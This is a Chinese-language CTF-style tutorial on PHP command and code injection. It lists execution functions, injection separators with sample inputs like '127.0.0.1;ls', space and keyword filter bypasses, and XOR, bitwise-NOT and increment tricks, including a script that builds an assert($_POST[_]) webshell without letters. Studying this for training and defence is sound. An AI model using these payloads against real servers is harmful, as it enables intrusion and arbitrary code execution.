1.漏洞成因
可以对系统命令执行函数和调用代码函数传递的值进行控制。
2.系统执行命令函数
system()
exec()
exec会执行系统命令,保存回显最后一行而且单exec不输出结果
shell_exec()
不会输出结果,保存所有回显
passthru()
和system一样
popen()
函数用于执行外部命令,并打开一个管道连接,可以通过该管道连接与命令的输入或输出进行交互
popen("1","2”)
1处为要执行的命令2处选择r(read只读)w(只写)这里选择r会报错
3.代码执行函数
eval()
将字符串作为php代码执行里面可以跟上面可以在php中使用的系统执行命令
assert()
和eval相同
call_user_func()
回调函数,第一个参数为函数名,第二个参数为函数的参数
常用来调用存在漏洞利用的函数
call_user_func_array()
回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
4.其他利用的函数
var_dump()
用于输出信息常用exec配合
echo()
和var_dump作用相同
printf()
和var_dump作用相同
print_r()
其他可以自行查找
5.rce利用
管道符
在rce中可以会出现像是ping指令的题目就需要管道符
举例 题目是 ping 实例为我们输入的内容
管道符 | 实例 | 作用 |
; | 127.0.0.1;ls | 无论对错都执行 |
| | 127.0.01|ls | 输出右边的结果 |
|| | 111||ls | 左边为错时执行右边 |
& | 127.0.0.1&ls | 无论对错都执行 |
&& | 127.0.01&ls | 左边正确执行右边 |
空格代替
<
<>
%20
%09
%0a
$IFS
$IFS$9
${IFS}
()
cat替换命令
tac 与cat相反,按行反向输出
more 按页显示
less 与less类似
head 从文件首行查看
tail 从文件末尾查看
nl 与cat相同会显示行数
grep 直接查找文件中的关键字
inux特性绕过
\绕过
加\还是可以执行
""绕过
''绕过
取反绕过
<?php
$a = "ls /";
echo $a."\n";
$b = urlencode(~$a);
echo $b."\n";
?>
传入的值为(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);
异或绕过
异或(XOR)是一种逻辑运算,它的原理如下:
符号表示: 异或运算用符号 ^
表示。
定义: 对于两个二进制位,如果相应位相同则结果为 0,如果相应位不同则结果为 1。
下面是异或运算的真值表:
A | B | A XOR B |
0 | 0 | 0 |
0 | 1 | 1 |
1 | 0 | 1 |
1 | 1 | 0 |
对于整个二进制数,异或运算会对每一位进行独立的操作。
异或的性质:
- 交换律: A XOR B 等于 B XOR A
- 结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
- 自反性: A XOR A 等于 0
- 零元素: A XOR 0 等于 A
a = 5
b = 3
a = a ^ b
b = a ^ b
a = a ^ b
print("a =", a) # 输出 3
print("b =", b) # 输出 5
异或脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
传入的值
$a ='393482'^ '@@@@]_';
$b = '13'^']@';
$c = "$a('$b')";
自增绕过
在编程中,自增操作是指将一个变量的值增加1
$number = 10;
$number++; // 自增操作
echo $number; // 输出 11
自增操作也可以应用于字母
$letter = 'a';
$letter++; // 自增操作
echo $letter; // 输出 'b'
在构造无数字字母rce中使用自增可以通过字符串强制拼接数组得到字符型的Array
然后我们要截取第一个字符A可以通过构造[0]
这里通过没有定义的变量$__ $__现在是false(0)
<?php
$_ = ''.[]; #Array
$___ = $_[$__]; #A
$_ = $___; #A
$__ = $___; #A
?>
通过自增使$_为S
将$_再次赋值为A构造其他字符
assert构造完成构造post
<?php
$_ = ''.[];
$___ = $_[$__];
$_ = $___;
$__ = $___;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= "$";
$____ .= "_";
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
echo ($___."($____ [_])");